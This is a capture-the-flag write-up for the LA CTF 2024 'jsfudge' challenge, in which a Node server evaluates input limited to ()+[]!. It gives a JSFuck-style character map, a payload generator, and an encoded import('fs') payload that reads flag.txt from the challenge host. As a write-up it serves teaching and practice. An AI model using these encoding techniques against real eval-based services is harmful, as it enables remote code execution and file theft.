LA CTF 2024 jsfudge writeup.md

LA CTF 2024 — jsfudge

JsFudge this JsFudge that, why don't you JsFudge the flag.

nc chall.lac.tf 31130

We're given a JavaScript server that, when cleaned up, looks like this:

#!/usr/local/bin/node
const runCode = (code) => {
    const allowed = new Set('()+[]!');
    for (const char of code) {
        if (!allowed.has(char)) {
            console.log('Oops, make sure to only use characters "()+[]!"');
            return;
        }
    }
    const oldProto=[].__proto__.toString;
    [].__proto__.toString = () => '^w^';
    try {
        const codeRes = eval(code);
        console.log(codeRes.toString());
    } catch (e) {
        console.log('oopsie woopsie stinki poopie', e);
    } finally {
        [].__proto__.toString = oldProto;
    }
}

const rl = require('readline').createInterface({input: process.stdin, terminal: false});
(async () => {
    console.log('Gimme some js code to run');
    for await (const line of rl) {
        runCode(line.trim());
        rl.close();
        return;
    }
})();

We're given arbitrary code execution on the server, but only if our payload consists of the characters ()+[]!.

Conveniently, this is the same character set used by JSFuck! Inconveniently, the runCode function has additionally polluted the array .toString() method to return '^w^'. Though we can still encode numbers, booleans, and most other things just fine, simply using the JSFuck encoding algorithm relies on

[]+[] = ''

which is no longer true on the server:

kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
Gimme some js code to run
!![]
true

kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
Gimme some js code to run
+!![]
1

kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
Gimme some js code to run
!+[]+!+[]
2

kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
Gimme some js code to run
[]+[]
^w^^w^

Looking at the JSFuck source, however, many of JSFuck's encoding techniques can still be modified to work with the new toString method.

  const SIMPLE = {
    'false':      '![]',
    'true':       '!![]',
    'undefined':  '[][[]]',
    'NaN':        '+[![]]',
    'Infinity':   '+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])' // +"1e1000"
  };

  // ...

  const MAPPING = {
    'a':   '(false+"")[1]',
    'b':   '([]["entries"]()+"")[2]',
    'c':   '([]["flat"]+"")[3]',
    'd':   '(undefined+"")[2]',
    'e':   '(true+"")[3]',
    'f':   '(false+"")[0]',
    'g':   '(false+[0]+String)[20]',
    'h':   '(+(101))["to"+String["name"]](21)[1]',
    'i':   '([false]+undefined)[10]',
    'j':   '([]["entries"]()+"")[3]',
    'k':   '(+(20))["to"+String["name"]](21)',
    'l':   '(false+"")[2]',
    'm':   '(Number+"")[11]',
    'n':   '(undefined+"")[1]',
    'o':   '(true+[]["flat"])[10]',
    'p':   '(+(211))["to"+String["name"]](31)[1]',
    'q':   '("")["fontcolor"]([0]+false+")[20]',
    'r':   '(true+"")[1]',
    's':   '(false+"")[3]',
    't':   '(true+"")[0]',
    'u':   '(undefined+"")[0]',
    'v':   '(+(31))["to"+String["name"]](32)',
    'w':   '(+(32))["to"+String["name"]](33)',
    'x':   '(+(101))["to"+String["name"]](34)[1]',
    'y':   '(NaN+[Infinity])[10]',
    'z':   '(+(35))["to"+String["name"]](36)',

    // ...
  };

jsfuck.js L6-112

We can then create our own mapping to encode a JS payload and get the flag:

const CHAR_MAP = {
    a: "(![]+[])[+!![]]",
    b: "",
    c: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]",
    d: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    e: "(!![]+[])[!![]+!![]+!![]]",
    f: "(![]+[])[+![]]",
    g: "(([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    h: "(+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])[(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[+!![]]+((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]](!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])",
    i: "([![]]+[][[]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    j: "",
    k: "",
    l: "(![]+[])[!![]+!![]]",
    m: "((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    n: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]",
    o: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]",
    p: "(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])[(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[+!![]]+((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]](!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])",
    q: "([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]](([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]()[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    r: "(!![]+[])[+!![]]",
    s: "(![]+[])[!![]+!![]+!![]]",
    t: "(!![]+[])[+![]]",
    u: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]",
    v: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
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}

function encodeStr(a) {
    return [...a].map(a => CHAR_MAP[a]).join("+")
}

function payload(a) {
    return `[][${encodeStr("filter")}][${encodeStr("constructor")}](${encodeStr(a)})()`
}

(this mapping isn't a modification of JSFuck and instead relies on .toString(radix) to get characters, but leads to the same idea.)

As a side note, within eval, require doesn't seem to be defined:

kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
Gimme some js code to run
[][(![]+[])[+![]]+([![]]+[][[]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]](([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]()[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([![]]+[][[]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]])()
oopsie woopsie stinki poopie ReferenceError: require is not defined
    at eval (eval at <anonymous> (eval at runCode (/app/run:16:21)), <anonymous>:3:1)
    at eval (eval at runCode (/app/run:16:21), <anonymous>:1:2350)
    at runCode (/app/run:16:21)
    at /app/run:31:5
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

Instead, we can encode

import("fs").then(a=>console.log(a.readFileSync("flag.txt")))

as

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and leak the buffer to get the flag.

kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ cat payload | nc chall.lac.tf 31130
Gimme some js code to run
oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'toString')
    at runCode (/app/run:17:25)
    at /app/run:31:5
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
<Buffer 6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a>

lactf{d0_y0u_f331_pr0ud}